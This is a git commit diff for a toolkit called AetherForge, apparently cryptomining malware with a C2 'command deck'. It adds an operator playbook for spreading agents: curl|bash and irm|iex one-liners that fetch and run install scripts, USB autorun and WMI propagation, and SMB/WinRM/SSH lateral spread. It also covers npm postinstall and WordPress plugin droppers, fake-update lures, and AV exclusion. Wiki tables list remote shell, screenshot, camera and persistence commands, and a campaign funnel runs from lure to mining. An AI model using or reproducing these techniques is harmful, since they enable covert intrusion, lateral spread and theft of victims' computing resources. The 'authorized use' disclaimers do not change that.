Release validation: tests green, USB pack, fleet UX and API hardening.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
This commit is contained in:
AetherForge
2026-06-06 16:57:39 -07:00
parent 5229854f00
commit 415b5dc6a3
119 changed files with 7005 additions and 3082 deletions

View File

@@ -0,0 +1,332 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Spread Techniques — AetherForge</title>
<link rel="stylesheet" href="wiki.css" />
</head>
<body>
<div class="wiki-layout">
<aside class="wiki-sidebar">
<div class="wiki-sidebar-header">
<h1>AetherForge</h1>
<p>Spread techniques playbook</p>
<a href="/">← Command Deck</a>
<br />
<a href="/emberwake" style="margin-top:0.35rem;display:inline-block;">→ Emberwake</a>
<br />
<a href="index.html" style="margin-top:0.35rem;display:inline-block;">→ Full wiki</a>
</div>
<ul class="wiki-nav">
<li><a href="#overview">Overview</a></li>
<li><a href="#web-waterhole">Web waterhole</a></li>
<li><a href="#curl-bash">curl | bash VPS</a></li>
<li><a href="#campaign-war-room">Campaign &amp; War Room</a></li>
<li><a href="#fusion-media">Fusion media</a></li>
<li><a href="#usb">USB</a></li>
<li><a href="#lan">LAN kindling</a></li>
<li><a href="#wordpress">WordPress plugin</a></li>
<li><a href="#npm-helper">npm postinstall</a></li>
<li><a href="#social-funnel">Social funnel</a></li>
<li><a href="#third-party">Third-party &amp; gaps</a></li>
</ul>
</aside>
<main class="wiki-content">
<section>
<h2>Spread Techniques Playbook</h2>
<p>
Red-team / threat-intelligence vectors mapped to <strong>AetherForge + Emberwake</strong> capabilities.
For <strong>authorized</strong> penetration testing, lab environments, and defensive planning only.
Landscape as of <strong>20242026</strong>.
</p>
<p>
Use <a href="/emberwake">Emberwake</a> for campaign builder, spread-kit export, supply-chain wizards, and
War Room analytics. This page is the operator playbook — Emberwake stays focused on actions, not tutorials.
</p>
<div class="spread-tab-bar" role="tablist" aria-label="Spread technique">
<button type="button" class="spread-tab active" role="tab" data-spread-tab="overview" aria-selected="true">Overview</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="web-waterhole" aria-selected="false">Web waterhole</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="curl-bash" aria-selected="false">curl | bash</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="campaign-war-room" aria-selected="false">Campaign &amp; War Room</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="fusion-media" aria-selected="false">Fusion media</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="usb" aria-selected="false">USB</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="lan" aria-selected="false">LAN</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="wordpress" aria-selected="false">WordPress</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="npm-helper" aria-selected="false">npm helper</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="social-funnel" aria-selected="false">Social funnel</button>
<button type="button" class="spread-tab" role="tab" data-spread-tab="third-party" aria-selected="false">Third-party</button>
</div>
<!-- Overview -->
<div class="spread-panel active" data-spread-panel="overview" id="overview">
<h3>What does NOT work anymore</h3>
<div class="wiki-callout danger">
Modern browsers require a <strong>user click + run</strong>. Silent drive-by RCE, auto-run from Downloads,
and CRX sideload via normal download are dead paths for commodity ops.
</div>
<table class="wiki-table">
<thead><tr><th>Technique</th><th>Status</th><th>Why</th></tr></thead>
<tbody>
<tr><td>Silent browser RCE (visit → shell)</td><td><span class="wiki-status disabled">Dead</span></td><td>Chromium sandboxes, site isolation, removed plugins</td></tr>
<tr><td>Auto-run from Downloads</td><td><span class="wiki-status disabled">Dead</span></td><td>SmartScreen, MoTW, user-gesture requirements</td></tr>
<tr><td>Flash/Java plugin drive-by</td><td><span class="wiki-status disabled">Dead</span></td><td>Plugins removed or click-to-play extinct</td></tr>
<tr><td>Unauthenticated <code>curl | bash</code> on cautious admins</td><td><span class="wiki-status partial">Hard</span></td><td>Pipe-to-shell fingerprinting; inspect-before-run mitigations</td></tr>
<tr><td>CRX sideload via download</td><td><span class="wiki-status disabled">Dead</span></td><td>DownloadRestrictions; store policy blocks casual sideload</td></tr>
</tbody>
</table>
<h3>AetherForge stack — has vs needs</h3>
<table class="wiki-table">
<thead><tr><th>Capability</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>GET /get</code>, <code>/install.sh</code>, <code>/install.ps1</code> with <code>?pin=</code> + <code>?c=</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Spread Kit ZIP export + static lander at <code>/spread/</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Emberwake campaign builder + War Room funnel</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>WordPress plugin + npm helper export wizards</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Fusion media ZIP bundles</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>USB perpetual propagation (forge flag)</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>LAN autospread / share spread</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>SocGholish fake-update branded lander</td><td><span class="wiki-status stub">Stub</span></td></tr>
<tr><td>JS fingerprint / TDS gate</td><td><span class="wiki-status stub">Needs</span></td></tr>
<tr><td>OAuth redirect helper</td><td><span class="wiki-status stub">Needs</span></td></tr>
<tr><td>Public npm/PyPI typosquat publish</td><td><span class="wiki-status disabled">Out of scope</span></td></tr>
</tbody>
</table>
<p>Source matrix (markdown): <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a></p>
</div>
<!-- Web waterhole -->
<div class="spread-panel" data-spread-panel="web-waterhole" id="web-waterhole" hidden>
<h3>Web waterhole — dropper landing</h3>
<p><span class="wiki-status working">Working</span> Owned-origin button/link → <code>/get</code> or spread-kit ZIP.</p>
<h4>Prerequisites</h4>
<ul>
<li>Forged build (pin optional) on your command deck</li>
<li>Public URL in Calibrate or tunnel to deck</li>
<li>Static host you control (same origin or Cloudflare Pages)</li>
</ul>
<h4>Emberwake steps</h4>
<ol class="spread-steps">
<li>Open <a href="/emberwake">Emberwake</a> → set campaign slug and pinned build.</li>
<li>Copy dropper URL or export spread-kit ZIP.</li>
<li>Deploy static lander — on-server copy at <a href="/spread/">/spread/</a> or upload exported kit.</li>
<li>Link visitors to <code>{deck}/get?pin={id}&amp;c={slug}</code> or platform-detect <code>/get</code>.</li>
<li>Track hits in Emberwake → <a href="/emberwake#campaign-war-room">Campaign War Room</a>.</li>
</ol>
<h4>Platform notes</h4>
<p>Windows: SmartScreen + MoTW on executables. Pair with code signing (<code>sign_build</code>) to reduce friction.</p>
<a class="spread-deck-link" href="/emberwake">Open Emberwake →</a>
</div>
<!-- curl | bash -->
<div class="spread-panel" data-spread-panel="curl-bash" id="curl-bash" hidden>
<h3>curl | bash — headless server drops</h3>
<p><span class="wiki-status working">Working</span> <code>install.sh</code> / <code>install.ps1</code> one-liners for Linux/macOS/Windows Server.</p>
<h4>Prerequisites</h4>
<ul>
<li>Deck reachable from target VPS (TLS recommended)</li>
<li>Linux/macOS: <strong>Web Drop</strong> forge preset or minimal headless build</li>
<li>Windows Server: AMSI / Constrained Language may block <code>irm | iex</code></li>
</ul>
<h4>Emberwake steps</h4>
<ol class="spread-steps">
<li>Emberwake → Campaign builder: set <code>?c=</code> slug and pin build.</li>
<li>Copy bash / PowerShell / macOS one-liners from the builder card.</li>
<li>Publish on first-party install docs page you operate.</li>
<li>Agent reports <code>AETHER_CAMPAIGN</code> on connect → War Room funnel.</li>
</ol>
<pre><code># Linux server
curl -sL https://your.site/install.sh?pin={build_id}&amp;c=docs | bash
# Windows Server
irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
<a class="spread-deck-link" href="/emberwake">Copy one-liners in Emberwake →</a>
</div>
<!-- Campaign & War Room -->
<div class="spread-panel" data-spread-panel="campaign-war-room" id="campaign-war-room" hidden>
<h3>Campaign links &amp; War Room</h3>
<p><span class="wiki-status working">Working</span> Attribution via <code>?c=slug</code> on dropper and public download URLs.</p>
<h4>Prerequisites</h4>
<ul>
<li>At least one forged build</li>
<li>Campaign slug per lure wave (e.g. <code>linkedin-bait</code>, <code>wp-my-blog</code>)</li>
</ul>
<h4>Emberwake steps</h4>
<ol class="spread-steps">
<li>Set campaign slug in Campaign builder; append to every dropper/public URL.</li>
<li>Optional A/B: pin Build A vs Build B with <code>?c=slug</code> and <code>?c=slug-b</code>.</li>
<li>Share links; War Room polls every 15s + WebSocket <code>emberwake_war_room</code>.</li>
<li>Read funnel: hits → downloads → first beacon → mining → hashrate per slug.</li>
</ol>
<h4>Endpoints</h4>
<table class="wiki-table">
<thead><tr><th>Endpoint</th><th>Purpose</th></tr></thead>
<tbody>
<tr><td><code>GET /get?c=</code></td><td>Platform-detect download + campaign log</td></tr>
<tr><td><code>GET /api/v1/public/download/{id}?c=</code></td><td>Public artifact + campaign log</td></tr>
<tr><td><code>GET /api/v1/emberwake/war-room?days=7</code></td><td>Funnel board data (auth)</td></tr>
</tbody>
</table>
<a class="spread-deck-link" href="/emberwake#campaign-war-room">Open War Room →</a>
</div>
<!-- Fusion media -->
<div class="spread-panel" data-spread-panel="fusion-media" id="fusion-media" hidden>
<h3>Fusion media — codec / tool download</h3>
<p><span class="wiki-status working">Working</span> Movie or prep fusion ZIP with disguised runner names.</p>
<h4>Prerequisites</h4>
<ul>
<li><strong>Desktop Fusion</strong> spread profile or manual fusion flags at forge</li>
<li>Themed landing page on owned site</li>
<li>Optional: code signing to reduce SmartScreen prompts</li>
</ul>
<h4>Emberwake / forge steps</h4>
<ol class="spread-steps">
<li>Mission Deck → <strong>Desktop Fusion</strong> profile → forge universal bundle.</li>
<li>Host fusion ZIP on themed site (“codec pack”, “portable tool”).</li>
<li>Tag downloads with <code>?c=fusion-wave1</code> via public URL or manual campaign env.</li>
<li>Universal bundle auto-picks <code>Deploy.bat</code> / <code>deploy.sh</code> inside spread-kit scripts.</li>
</ol>
<p>Detection risk: medium (large ZIP, SmartScreen). User must still run extracted payload.</p>
<a class="spread-deck-link" href="/emberwake">Tag campaign in Emberwake →</a>
</div>
<!-- USB -->
<div class="spread-panel" data-spread-panel="usb" id="usb" hidden>
<h3>USB perpetual propagation</h3>
<p><span class="wiki-status working">Working</span> Forge-time <strong>USB Propagation</strong> flag — not an Emberwake export.</p>
<h4>Prerequisites</h4>
<ul>
<li>Forge with <code>usb_spread</code> enabled (<strong>LAN Kindling</strong> profile includes USB)</li>
<li>Physical access path to insert USB on target Windows hosts</li>
</ul>
<h4>How it works</h4>
<ol class="spread-steps">
<li>Within ~8s of USB insert: drop agent to hidden folder, write <code>autorun.inf</code>, LNK, <code>SETUP.BAT</code>.</li>
<li>Create decoy folder; WMI subscription for future mounts.</li>
<li>Modern Windows limits autorun — user interaction often still required.</li>
</ol>
<p>See wiki <a href="index.html#usb-portable">USB Portable</a> for deck-on-stick packaging.</p>
<a class="spread-deck-link" href="/forge">Forge with USB flag →</a>
</div>
<!-- LAN -->
<div class="spread-panel" data-spread-panel="lan" id="lan" hidden>
<h3>LAN kindling — lateral spread</h3>
<p><span class="wiki-status working">Working</span> Universal spread kit + <code>auto_spread</code> / <code>share_spread</code>.</p>
<h4>Prerequisites</h4>
<ul>
<li><strong>LAN Kindling</strong> spread profile at forge (universal kit + autospread)</li>
<li>At least one patient zero on the subnet</li>
<li>C2 auth for aggressive lateral commands (Crucible ops separate profile)</li>
</ul>
<h4>Emberwake / forge steps</h4>
<ol class="spread-steps">
<li>Mission Deck → <strong>LAN Kindling</strong> → forge spread-kit universal ZIP.</li>
<li>Deploy patient zero via waterhole or curl|bash with campaign tag.</li>
<li>Agent scans subnet (ARP-first /24 + /64) via <code>deploy/subnet.go</code>.</li>
<li>Windows: SMB <code>admin$</code>, WinRM; Linux/macOS: SSH lateral (gated).</li>
</ol>
<a class="spread-deck-link" href="/emberwake">Export spread kit →</a>
</div>
<!-- WordPress -->
<div class="spread-panel" data-spread-panel="wordpress" id="wordpress" hidden>
<h3>WordPress plugin — owned-site supply chain</h3>
<p><span class="wiki-status working">Working</span> Export plugin ZIP from Emberwake — upload to <em>your</em> WordPress host only.</p>
<h4>Prerequisites</h4>
<ul>
<li>WordPress installation you operate (not wordpress.org directory)</li>
<li>Pinned build in Emberwake supply-chain wizard</li>
</ul>
<h4>Emberwake steps</h4>
<ol class="spread-steps">
<li>Emberwake → Supply-chain wizard → WordPress → pick build, site name, server URL.</li>
<li>Download <code>{slug}-wordpress-plugin.zip</code>.</li>
<li>WP Admin → Plugins → Add New → Upload → Activate.</li>
<li>Admin notice links to <code>/get?c=wp-{site}</code> on your deck.</li>
<li>Track <code>wp-{site}</code> in War Room.</li>
</ol>
<h4 id="wordpress-hosting-checklist">Hosting checklist</h4>
<ul>
<li>Unzip locally — layout <code>{slug}/{slug}.php</code> + <code>readme.txt</code></li>
<li>Upload ZIP via Plugins → Add New → Upload Plugin</li>
<li>Activate on owned host; verify Tools page + admin notice URL</li>
<li>Confirm War Room shows hits for <code>wp-{site}</code></li>
</ul>
<p>API: <code>POST /api/v1/builder/wordpress-plugin-export</code></p>
<a class="spread-deck-link" href="/emberwake">Open supply-chain wizard →</a>
</div>
<!-- npm helper -->
<div class="spread-panel" data-spread-panel="npm-helper" id="npm-helper" hidden>
<h3>npm postinstall helper — your packages only</h3>
<p><span class="wiki-status working">Working</span> Private package template — postinstall curls your <code>install.sh</code>.</p>
<h4>Prerequisites</h4>
<ul>
<li>Registry you control (private npm, Verdaccio, GitHub Packages)</li>
<li>Authorized CI/dev environments only — <strong>not</strong> public typosquat</li>
</ul>
<h4>Emberwake steps</h4>
<ol class="spread-steps">
<li>Emberwake → Supply-chain wizard → npm → set server URL, campaign, optional pin.</li>
<li>Download helper ZIP; adjust <code>package.json</code> name if needed.</li>
<li>Publish to your registry; add as dependency in authorized projects.</li>
<li><code>npm install</code> runs postinstall → <code>install.sh?c=…&amp;pin=…</code>.</li>
</ol>
<h4 id="npm-hosting-checklist">Hosting checklist</h4>
<ul>
<li>Unzip npm helper template</li>
<li>Publish with <code>npm publish --access restricted</code></li>
<li>Add dependency in authorized pipeline only</li>
<li>Verify agent connect + War Room campaign slug</li>
</ul>
<p>API: <code>POST /api/v1/builder/npm-helper-export</code></p>
<a class="spread-deck-link" href="/emberwake">Export npm template →</a>
</div>
<!-- Social funnel -->
<div class="spread-panel" data-spread-panel="social-funnel" id="social-funnel" hidden>
<h3>Social engineering funnel</h3>
<p>Email / ads → owned lander → download. AetherForge maps the <strong>last mile</strong> once user reaches your origin.</p>
<table class="wiki-table">
<thead><tr><th>Technique</th><th>Status</th><th>Emberwake role</th></tr></thead>
<tbody>
<tr><td>Email → link → owned lander → download</td><td><span class="wiki-status working">Working</span></td><td><code>?c=</code> on <code>/get</code> + War Room</td></tr>
<tr><td>A/B droppers between waves</td><td><span class="wiki-status working">Working</span></td><td>Build A vs B pins in Campaign builder</td></tr>
<tr><td>OAuth redirect abuse</td><td><span class="wiki-status stub">Needs</span></td><td>No Entra app wizard — research only</td></tr>
<tr><td>SEO poisoning / malvertising</td><td><span class="wiki-status stub">Needs</span></td><td>Payload can be fusion/spread-kit; no ad tooling</td></tr>
<tr><td>HTML smuggling / IFRAME chains</td><td><span class="wiki-status stub">Needs</span></td><td>Client-side blob builder not shipped</td></tr>
</tbody>
</table>
<a class="spread-deck-link" href="/emberwake">Build campaign links →</a>
</div>
<!-- Third-party -->
<div class="spread-panel" data-spread-panel="third-party" id="third-party" hidden>
<h3>Third-party platforms &amp; gaps</h3>
<p>Techniques on infrastructure you do <em>not</em> fully control. Most require separate publish pipelines.</p>
<table class="wiki-table">
<thead><tr><th>Technique</th><th>Status</th><th>Notes</th></tr></thead>
<tbody>
<tr><td>GitHub Releases / raw CDN</td><td><span class="wiki-status partial">Partial</span></td><td>Build artifacts exist; separate release pipeline from C2 host</td></tr>
<tr><td>S3 / Cloudflare Pages / R2</td><td><span class="wiki-status partial">Partial</span></td><td>Deploy exported spread-kit ZIP off C2; platform abuse ML risk</td></tr>
<tr><td>npm / PyPI / Docker Hub typosquat</td><td><span class="wiki-status disabled">Out of scope</span></td><td>Use npm helper on registries <em>you</em> own</td></tr>
<tr><td>WordPress.org plugin compromise</td><td><span class="wiki-status disabled">Out of scope</span></td><td>Owned-site upload wizard only</td></tr>
<tr><td>Fake browser update (SocGholish)</td><td><span class="wiki-status stub">Stub</span></td><td>Dropper works; branded HTML lander not shipped</td></tr>
<tr><td>JS fingerprint / TDS gate</td><td><span class="wiki-status stub">Needs</span></td><td>Filter bots/geo before showing download</td></tr>
<tr><td>Service worker / WASM redirect</td><td><span class="wiki-status stub">Needs</span></td><td>Research paths; still ends at user-run binary</td></tr>
</tbody>
</table>
<p>Full research matrix: <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a></p>
</div>
</section>
</main>
</div>
<script src="spread-techniques.js"></script>
</body>
</html>

View File

@@ -1,5 +1,7 @@
# Web-Mediated Spread Techniques (Research Summary)
> **Operator playbook (tabbed HTML):** [SPREAD_TECHNIQUES.html](SPREAD_TECHNIQUES.html) — step-by-step Emberwake how-tos. This file is the research matrix.
> **Scope:** Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For **authorized** penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of **20242026**.
---
@@ -24,7 +26,7 @@
| Technique | Feasibility | Detection risk | AetherForge mapping |
|-----------|-------------|----------------|---------------------|
| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=` campaign tags. **Needs:** `spread-kit-web-publisher` static templates (API exists; templates missing). |
| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=`; static kit at `spread-kit-web-publisher/` + `/spread/`; ZIP export via `POST /api/v1/builder/spread-kit-export`. |
| **curl \| bash / `irm \| iex` docs page** — install instructions for servers | **Easy** | Med (EDR script block, proxy logs) | **Has:** `install.sh` / `install.ps1` with UA-aware `/get`, campaign env (`AETHER_CAMPAIGN`). Pin build via `?pin={build_id}`. |
| **Fake browser / app update page** (SocGholish pattern) | **Medium** | High (browser update lures heavily signatured) | **Has:** dropper + spread-kit launchers. **Needs:** branded HTML lander, geo/UA gate, optional TDS. See [Trend Micro SocGholish](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html). |
| **JS redirect / referrer gate** (search → your lander) | **Medium** | MedHigh (injected-script hunting) | **Needs:** fingerprint JS in web-publisher kit; **Has:** campaign tracking on final fetch. [JSFireTruck](https://unit42.paloaltonetworks.com/malicious-javascript-using-jsfiretruck-as-obfuscation/) scale shows pattern is alive but noisy. |
@@ -80,12 +82,10 @@
| Gap | Emberwake / web-publisher role |
|-----|-------------------------------|
| `spread-kit-web-publisher/` templates **missing** | Static site ZIP export via `POST /api/v1/builder/spread-kit-export` (404 today) |
| Emberwake **UI tab** not in web app | Notes + campaign API exist server-side only |
| No **fake-update** HTML kit | SocGholish-style lander |
| No **fake-update** HTML kit | SocGholish-style lander — operator supplies branding |
| No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download |
| No **OAuth redirect** helper | Entra app registration docs only |
| No **package registry** publish | npm/PyPI/Docker supply chain out of scope for forge |
| No **public registry** publish | npm/PyPI typosquat out of scope — use `npm-helper-export` on registries you own |
---

View File

@@ -28,18 +28,25 @@
</div>
<ul class="wiki-nav">
<li><a href="#overview">Overview</a></li>
<li><a href="#quick-start">Quick Start</a></li>
<li><a href="#dashboard">Dashboard</a></li>
<li><a href="#forge">Forge / Builder</a></li>
<li><a href="#spread-campaigns">Spread &amp; Campaigns</a></li>
<li><a href="#quick-start">Getting Started</a></li>
<li><a href="#forge">Forge &amp; Builds</a></li>
<li><a href="#mission-deck">Mission Deck</a></li>
<li><a href="#build-manager">Build Manager</a></li>
<li><a href="#dashboard">Fleet &amp; Crucible</a></li>
<li><a href="#crucible-ops">Crucible Commands</a></li>
<li><a href="#spread-campaigns">Emberwake &amp; Spread</a></li>
<li><a href="SPREAD_TECHNIQUES.html">Spread Techniques</a></li>
<li><a href="#wordpress-plugin-supply-chain">WordPress plugin</a></li>
<li><a href="#npm-postinstall-helper">npm postinstall</a></li>
<li><a href="#agent">Agent</a></li>
<li><a href="#calibrate">Calibrate</a></li>
<li><a href="#path-tracer">Path Tracer</a></li>
<li><a href="#agent">Agent Reference</a></li>
<li><a href="#mining">Mining</a></li>
<li><a href="#platform-matrix">Platform Matrix</a></li>
<li><a href="#alerts-ai">Alerts &amp; AI</a></li>
<li><a href="#security-auth">Security &amp; Auth</a></li>
<li><a href="#usb-portable">USB Portable Deck</a></li>
<li><a href="#api-reference">API Reference</a></li>
<li><a href="#security-auth">Security</a></li>
<li><a href="#usb-portable">USB Portable</a></li>
<li><a href="#api-reference">API</a></li>
<li><a href="#troubleshooting">Troubleshooting</a></li>
<li><a href="#problems">Known Limits</a></li>
</ul>
@@ -182,6 +189,52 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
</ul>
<div class="wiki-screenshot">[Screenshot: Dashboard fleet health + contribution map]</div>
<h3>Command deck route guide</h3>
<table class="wiki-table">
<thead><tr><th>Route</th><th>Nav label</th><th>Primary use</th></tr></thead>
<tbody>
<tr><td><code>/dashboard</code></td><td>Command Deck</td><td>Fleet health, hashrate, topology map, install funnel, audit strip</td></tr>
<tr><td><code>/agents</code></td><td>Fleet Roster</td><td>Per-machine detail, remote actions, groups, protocol tunnels</td></tr>
<tr><td><code>/crucible</code></td><td>Crucible</td><td>Batch remote terminal, expanded ops, file manager, gold rain overlay</td></tr>
<tr><td><code>/forge</code></td><td>Forge</td><td>Full builder — preflight, fusion, blueprints, operation modes</td></tr>
<tr><td><code>/mission-deck</code></td><td>Mission Deck</td><td>Fast path — preset loadout → one-click forge + export + clipboard links</td></tr>
<tr><td><code>/builds</code></td><td>Builds</td><td>Download, pin, public toggle, dropper one-liners, re-forge</td></tr>
<tr><td><code>/emberwake</code></td><td>Emberwake</td><td>Campaign War Room, spread-kit export, supply-chain wizards</td></tr>
<tr><td><code>/settings</code></td><td>Calibrate</td><td>Pool, alerts, users, fleet policy, staged modules, tunnels</td></tr>
<tr><td><code>/pathtracer</code></td><td>Path Tracer</td><td>Multi-hop WireGuard chain builder + QR config</td></tr>
<tr><td><code>/docs/</code></td><td>Field docs</td><td>This wiki — searchable; HelpTips link here</td></tr>
<tr><td><code>/spread/</code></td><td>Static spread kit</td><td>Public waterhole landing (no login) — see <a href="/spread/">/spread/</a></td></tr>
</tbody>
</table>
<p><code>/builder</code> and <code>/spread</code> redirect to <code>/forge</code> and <code>/emberwake</code>.</p>
<h3>How to read the Command Deck</h3>
<p>
The top row is your fast triage layer. <strong>Fleet Hash</strong> is the 15-minute rolling aggregate,
<strong>Est. Daily</strong> combines the live hashrate estimate with the current XMR price cache,
<strong>Accept</strong> highlights share quality, and <strong>Nodes Live</strong> tells you immediately
whether a bad pool day is really a connectivity day.
</p>
<p>
Below that, <strong>Fleet Health</strong> is the composite score to trust when the page is busy. It blends
online percentage, accept rate, pool state, and current fleet behavior into one number, then colors the card
green / amber / red. Treat it as the dashboard's summary judgment, then use the supporting panels to see why
the score moved.
</p>
<h3>Overview vs Advanced mode</h3>
<table class="wiki-table">
<thead><tr><th>Mode</th><th>Purpose</th><th>Extra panels</th></tr></thead>
<tbody>
<tr><td>Overview</td><td>Fast status scan</td><td>Core health, key metrics, roster, topology, share pulse</td></tr>
<tr><td>Advanced</td><td>Deep operator session</td><td>AI activity, share log, matrix overlay, full chart stack</td></tr>
</tbody>
</table>
<p>
Advanced mode is persisted in browser storage. It is intended for an operator who is staying in the deck for
a while, not for a quick hallway check. When chart noise gets in the way, switch back to Overview.
</p>
<h3>Fleet Roster (Agents)</h3>
<ul>
<li>Compact rows — click to expand inline details and remote action strip</li>
@@ -193,10 +246,15 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
<h3>Crucible (Command Terminal)</h3>
<p>
Select one or many agents (or a Fleet Group). Send raw commands, PowerShell, or preset ops. Output streams
to the terminal in real time. Gold rain overlay activates when a single agent is selected. Expanded ops
include firewall suite, UPnP, mesh status, fleet upgrade, registry panel, SMB shares, spread status,
credential vault list (names only), secure wipe, and port-forward matrix.
Route <code>/crucible</code> — select one or many agents (or a Fleet Group). Send raw commands, PowerShell,
or preset tactical ops; output streams to the terminal in real time. Gold rain overlay activates when a single
agent is selected. Tabs: <strong>Ops</strong>, <strong>Recon</strong>, <strong>Files</strong> (File Manager),
<strong>Spread</strong>, <strong>Tunnels</strong>. Full command reference:
<a href="#crucible-ops">Crucible Commands</a>.
</p>
<p>
<strong>File Manager</strong> (single online node): <code>list_dir</code>, <code>read_file</code> (512 KB cap),
upload, download, path breadcrumbs — cross-platform. Requires online WebSocket (not beacon-only).
</p>
<h3>Emberwake</h3>
@@ -221,6 +279,115 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
<li>Cloudflare tunnel token, tunnel defaults</li>
<li><code>public_builds_enabled</code> — expose all builds on unauthenticated public API</li>
</ul>
<h3>Dashboard operating rhythm</h3>
<ol>
<li>Open <strong>Dashboard</strong> first and check Fleet Health, Nodes Live, and Accept.</li>
<li>If health is amber/red, inspect pool status and the underperformer list before touching config.</li>
<li>Open <strong>Agents</strong> only after the dashboard tells you which machines need attention.</li>
<li>Use <strong>Builds</strong> to verify what is currently pinned before forging anything new.</li>
<li>Use <strong>Calibrate</strong> for durable defaults; use Forge only for build-specific overrides.</li>
</ol>
</section>
<!-- 3b. Crucible Commands -->
<section id="crucible-ops">
<h2>Crucible Commands — Agent Reference</h2>
<p>
All commands dispatch via <code>POST /api/v1/agents/{id}/command</code> or
<code>POST /api/v1/agents/bulk-command</code>. Aggressive ops require
<code>remote_aggressive</code> baked or staged at runtime. Capabilities gate UI buttons — re-forge or push
<strong>Crucible Ops</strong> module pack if disabled.
</p>
<h3>Mining &amp; lifecycle</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Purpose</th><th>Platforms</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>pause</code> / <code>resume</code> / <code>restart</code></td><td>Miner control</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>stop</code> / <code>kill</code></td><td>Terminate agent process</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>uninstall</code></td><td>Remove persistence + binary</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>upgrade</code></td><td>Download + replace from build URL</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>fetch_module</code></td><td>Stage signed runtime pack</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>bof_execute</code></td><td>In-memory BOF</td><td></td><td><span class="wiki-status disabled">Disabled</span> — always errors</td></tr>
</tbody>
</table>
<h3>System &amp; power</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Purpose</th><th>Platforms</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>reboot_machine</code> / <code>shutdown_machine</code></td><td>Power control</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>reboot</code> / <code>shutdown</code></td><td>Legacy aliases</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Wake-on-LAN</td><td><code>POST /api/v1/agents/{id}/wol</code> — UDP magic packet</td><td>Server → agent MAC</td><td><span class="wiki-status working">Working</span> (offline OK)</td></tr>
<tr><td><code>exec</code> / <code>powershell</code></td><td>Shell (hidden window)</td><td>Win / Unix sh</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>get_log</code></td><td>Tail agent log</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
</tbody>
</table>
<h3>Recon &amp; posture</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Purpose</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>sysinfo</code></td><td>Hostname, OS, CPU, RAM, uptime</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>full_sys_check</code></td><td>AV, firewall, disk, DNS, ports, CISA KEV exposure</td><td><span class="wiki-status working">Working</span> — KEV block Windows-focused</td></tr>
<tr><td><code>ps</code> / <code>netstat</code> / <code>users</code> / <code>software</code></td><td>Process / network / user inventory</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>listen_ports</code> / <code>patch_status</code></td><td>Open ports + patch level</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>posture</code></td><td>Firewall + AV summary</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>connectivity_probe</code></td><td>DNS + TCP to C2 and pool</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>arp_neighbors</code></td><td>ARP cache IPs (spread targeting)</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>persistence_audit</code></td><td>Run keys / tasks / systemd / launchd JSON</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>screenshot</code></td><td>Desktop JPEG (live view polls 3s)</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>camera_list</code> / <code>camera_snapshot</code></td><td>USB camera capture</td><td><span class="wiki-status partial">Partial</span> — macOS stub; needs ffmpeg</td></tr>
